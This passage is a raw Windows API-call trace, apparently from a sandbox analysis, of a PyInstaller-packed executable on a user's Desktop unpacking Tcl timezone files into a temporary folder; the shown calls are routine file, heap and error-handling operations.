lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.224] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.224] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.224] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.224] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.224] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.224] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.224] CloseHandle (hObject=0x10c) returned 1 [0042.224] GetLastError () returned 0x0 [0042.224] SetLastError (dwErrCode=0x0) [0042.224] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.224] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.224] GetFileType (hFile=0x10c) returned 0x1 [0042.224] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.225] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.225] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.225] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.225] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.225] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.225] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.225] CloseHandle (hObject=0x10c) returned 1 [0042.225] GetLastError () returned 0x0 [0042.225] SetLastError (dwErrCode=0x0) [0042.225] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\UCT") returned 64 [0042.225] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\UCT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\uct"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.225] GetLastError () returned 0x2 [0042.225] SetLastError (dwErrCode=0x2) [0042.225] GetLastError () returned 0x2 [0042.225] SetLastError (dwErrCode=0x2) [0042.225] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\UCT", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\UCT", lpFilePart=0x0) returned 0x3f [0042.225] GetLastError () returned 0x2 [0042.225] SetLastError (dwErrCode=0x2) [0042.225] GetLastError () returned 0x2 [0042.225] SetLastError (dwErrCode=0x2) [0042.225] GetLastError () returned 0x2 [0042.225] SetLastError (dwErrCode=0x2) [0042.225] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\UCT") returned 64 [0042.225] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.225] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\UCT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\uct"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.226] GetFileType (hFile=0x10c) returned 0x1 [0042.226] htonl (hostlong=0x69000000) returned 0x69 [0042.226] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.226] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x69, lpOverlapped=0x0) returned 1 [0042.227] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.227] CloseHandle (hObject=0x10c) returned 1 [0042.227] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.227] htonl (hostlong=0x30000000) returned 0x30 [0042.227] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.227] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.227] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.227] GetFileType (hFile=0x10c) returned 0x1 [0042.227] htonl (hostlong=0xf6c25b00) returned 0x5bc2f6 [0042.227] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6072f6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.227] htonl (hostlong=0x6b000000) returned 0x6b [0042.227] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6b) returned 0x55cfe0 [0042.227] htonl (hostlong=0x6b000000) returned 0x6b [0042.227] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.227] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.227] htonl (hostlong=0x69000000) returned 0x69 [0042.227] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x69) returned 0x550600 [0042.227] htonl (hostlong=0x6b000000) returned 0x6b [0042.227] htonl (hostlong=0x69000000) returned 0x69 [0042.227] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.227] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.227] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.228] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.228] CloseHandle (hObject=0x10c) returned 1 [0042.228] GetLastError () returned 0x0 [0042.228] SetLastError (dwErrCode=0x0) [0042.228] GetLastError () returned 0x0 [0042.228] SetLastError (dwErrCode=0x0) [0042.228] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.228] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.228] GetFileType (hFile=0x10c) returned 0x1 [0042.228] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.228] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.228] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.228] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.228] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.228] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.228] CloseHandle (hObject=0x10c) returned 1 [0042.228] GetLastError () returned 0x0 [0042.228] SetLastError (dwErrCode=0x0) [0042.228] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.228] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.228] GetFileType (hFile=0x10c) returned 0x1 [0042.229] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.229] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.229] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.229] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.229] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.229] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.229] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.229] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.229] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.229] CloseHandle (hObject=0x10c) returned 1 [0042.229] GetLastError () returned 0x0 [0042.229] SetLastError (dwErrCode=0x0) [0042.229] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.229] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.229] GetFileType (hFile=0x10c) returned 0x1 [0042.229] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.229] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.229] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.229] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.229] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.229] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.229] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.229] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.229] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.229] CloseHandle (hObject=0x10c) returned 1 [0042.230] GetLastError () returned 0x0 [0042.230] SetLastError (dwErrCode=0x0) [0042.230] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\UTC") returned 64 [0042.230] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\UTC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\utc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.230] GetLastError () returned 0x2 [0042.230] SetLastError (dwErrCode=0x2) [0042.230] GetLastError () returned 0x2 [0042.230] SetLastError (dwErrCode=0x2) [0042.230] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\UTC", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\UTC", lpFilePart=0x0) returned 0x3f [0042.230] GetLastError () returned 0x2 [0042.230] SetLastError (dwErrCode=0x2) [0042.230] GetLastError () returned 0x2 [0042.230] SetLastError (dwErrCode=0x2) [0042.230] GetLastError () returned 0x2 [0042.230] SetLastError (dwErrCode=0x2) [0042.230] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\UTC") returned 64 [0042.230] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.230] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\UTC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\utc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.231] GetFileType (hFile=0x10c) returned 0x1 [0042.231] htonl (hostlong=0x69000000) returned 0x69 [0042.231] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.231] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x69, lpOverlapped=0x0) returned 1 [0042.232] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.232] CloseHandle (hObject=0x10c) returned 1 [0042.232] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.232] htonl (hostlong=0x30000000) returned 0x30 [0042.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.232] GetFileType (hFile=0x10c) returned 0x1 [0042.232] htonl (hostlong=0x61c35b00) returned 0x5bc361 [0042.233] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x607361, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.233] htonl (hostlong=0x85000000) returned 0x85 [0042.233] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x85) returned 0x55cfe0 [0042.233] htonl (hostlong=0x85000000) returned 0x85 [0042.233] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.233] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.233] htonl (hostlong=0x9e000000) returned 0x9e [0042.233] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e) returned 0x550600 [0042.233] htonl (hostlong=0x85000000) returned 0x85 [0042.233] htonl (hostlong=0x9e000000) returned 0x9e [0042.233] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.233] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.233] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.233] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.233] CloseHandle (hObject=0x10c) returned 1 [0042.233] GetLastError () returned 0x0 [0042.233] SetLastError (dwErrCode=0x0) [0042.233] GetLastError () returned 0x0 [0042.233] SetLastError (dwErrCode=0x0) [0042.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.233] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.233] GetFileType (hFile=0x10c) returned 0x1 [0042.233] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.233] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.233] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.233] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.234] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.234] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.234] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.234] CloseHandle (hObject=0x10c) returned 1 [0042.234] GetLastError () returned 0x0 [0042.234] SetLastError (dwErrCode=0x0) [0042.234] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.234] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.234] GetFileType (hFile=0x10c) returned 0x1 [0042.234] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.234] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.234] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.234] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.234] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.234] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.234] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.234] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.234] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.234] CloseHandle (hObject=0x10c) returned 1 [0042.234] GetLastError () returned 0x0 [0042.234] SetLastError (dwErrCode=0x0) [0042.234] 